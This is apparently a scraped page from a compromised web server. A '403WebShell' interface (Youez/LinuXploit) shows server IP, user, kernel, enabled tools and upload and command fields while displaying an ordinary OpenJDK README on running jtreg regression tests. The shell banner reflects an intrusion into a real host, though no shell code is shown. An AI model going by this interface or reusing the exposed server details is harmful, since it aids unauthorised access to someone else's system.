Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/openjdk-21-jdk-headless/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/openjdk-21-jdk-headless/README.testsuite
Running regression tests
------------------------

Unpack openjdk-N-source package and install the openjdk-N-testsupport
package.

Change directory to the source package and execute:

  AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
  ./debian/tests/jtreg-autopkgtest.sh <output-directory> <jtreg options>

to run regression tests.

The script does not set up a GUI environment. Please use
./debian/tests/jdk-autopkgtest.sh for JDK tests that require a GUI.

Some examples:

- Run specific tests:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jtreg-autopkgtest.sh output-dir \
    -dir:test/hotspot/jtreg/ \
    sanity/BasicVMTest.java \
    runtime/6294277/SourceDebugExtension.java

- Run a group of tests (see TEST.groups for definitions):

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jtreg-autopkgtest.sh output-dir \
    -dir:test/hotspot/jtreg \
    :tier1

- Run all tests in the subdirectory:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jtreg-autopkgtest.sh output-dir \
    test/hotspot/jtreg/runtime

  or

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jtreg-autopkgtest.sh output-dir \
    -dir:test/hotspot/jtreg/ \
    runtime

See the jtreg manual page for the overview of jtreg options.

More information is available in OpenJDK documentation[1] and OpenJDK
developer guide[2].

Running hotspot regression tests
--------------------------------

Change directory to the source package and execute:

  AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
  ./debian/tests/hotspot-autopkgtest.sh <jtreg options>

Some examples:

- Run specific tests:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/hotspot-autopkgtest.sh \
    sanity/BasicVMTest.java \
    runtime/6294277/SourceDebugExtension.java

- Run a test group:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/hotspot-autopkgtest.sh \
    :tier2

Running the script without any options executes tier1 hotspot tests.

Running jdk regression tests
----------------------------

Change directory to the source package and execute:

  AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
  ./debian/tests/jdk-autopkgtest.sh <jtreg options>

Some examples:

- Run specific tests:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jdk-autopkgtest.sh \
    java/lang/Long/GetLong.java \
    java/lang/Math/TanTests.java

- Run a test group:

    AUTOPKGTEST_TMP=. AUTOPKGTEST_ARTIFACTS=. \
    ./debian/tests/jdk-autopkgtest.sh \
    :tier2

Running the script without any options executes tier1 jdk tests.

[1] https://openjdk.org/groups/build/doc/testing.html
[2] https://openjdk.org/guide/#jtreg

Youez - 2016 - github.com/yon3zu
LinuXploit